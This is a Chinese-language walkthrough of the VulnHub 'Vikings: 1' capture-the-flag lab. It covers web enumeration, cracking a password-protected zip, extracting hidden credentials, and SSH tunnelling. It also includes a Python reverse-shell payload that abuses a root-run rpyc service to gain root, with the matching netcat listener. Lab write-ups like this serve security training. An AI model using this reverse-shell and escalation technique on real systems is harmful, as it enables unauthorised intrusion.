当前位置:网站首页>VIKINGS: 1 vulnhub walkthrough
VIKINGS: 1 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
虚拟机地址
: https://www.vulnhub.com/entry/vikings-1,741/
infomation
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web。
对目录site
进行目录和文件爆破,发现了war.txt
。
* vikings gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.94.129/site -x txt,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.94.129/site
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2021/09/16 03:06:43 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 322] [--> http://192.168.94.129/site/images/]
/css (Status: 301) [Size: 319] [--> http://192.168.94.129/site/css/]
/js (Status: 301) [Size: 318] [--> http://192.168.94.129/site/js/]
/war.txt (Status: 200) [Size: 13]
该文件指向另一个目录/war-is-over
,进入下载index.html
,这是一段base64加密,查看二进制,发现是zip文档。
这是一个加密zip文档,使用john解密(解密过程可以自行百度使用john解密zip
),使用rockyou.txt
作为字典得到密码ragnarok123
。解压得到文件king
,使用binwalk
查看,发现文件中还有一个zip文档。
* vikings binwalk king
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
1429567 0x15D03F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
1429740 0x15D0EC End of Zip archive, footer length: 22
使用dd得到含有user
的zip文档,从而得到第一个用户名密码floki/[email protected]
。
* vikings cat user
//[email protected]
//[email protected]
提权
ssh登录用户floki
,查看端口情况,发现了端口18812
开放,同时进程中有rpyc
是以root用户运行的,于是我们利用该进程进行提权,需要注意的是服务器不允许外连端口,所以是不能直接反弹端口获取shell的
,这里采用ssh进行本地端口转发(转发18812端口到攻击机)和远程端口转发(将攻击机监听端口转发到目标机)。
[email protected]:~$ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:45935 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:18812 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8000 0.0.0.0:*
[email protected]:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1087 0.0 2.2 209144 22376 ? Sl 14:14 0:04 python3 /usr/local/bin/rpyc_classic.py
攻击机将目标主机18812
端口转发到本地
ssh -CfNg -L 18812:127.0.0.1:18812 [email protected]
攻击机将本地8000
端口转发到目标主机的8000
端口。
ssh -CfNg -R 8000:192.168.94.128:8000 [email protected]
然后在攻击机执行下面python代码(需本地安装rpyc
库)。
#!/usr/bin/python3
#主要是利用server执行execute方法反弹shell到本地的8000端口
import rpyc
conn = rpyc.classic.connect("localhost")
f = conn.execute('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
conn.close()
成功获取root
权限。
* ~ rlwrap nc -lvp 8000
listening on [any] 8000 ...
192.168.94.128: inverse host lookup failed: Host name lookup failure
connect to [192.168.94.128] from (UNKNOWN) [192.168.94.128] 53968
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
f0b98d4387ff6da77317e582da98bf31
边栏推荐
猜你喜欢
随机推荐
4.表单与输入
Various ways of AES encryption
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
DVWA靶机安装教程
关于tp的apache 的.htaccess文件
(8) requests, os, sys, re, _thread
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
宝塔邮局邮箱设置成功后能发送不能接收问题处理
--fs module--
[trendsoft/capital]金额转中文大写库
js 之 Object.defineProperty()
PHP 发起支付宝支付时 订单信息乱码解决
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
DVWA drone installation tutorial
ES6三点运算符、数组方法、字符串扩展方法
Advanced Operations on Arrays
TypeScript error error TS2469, error TS2731 solution
多线程(实现多线程、线程同步、生产者消费者)
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
vim edit mode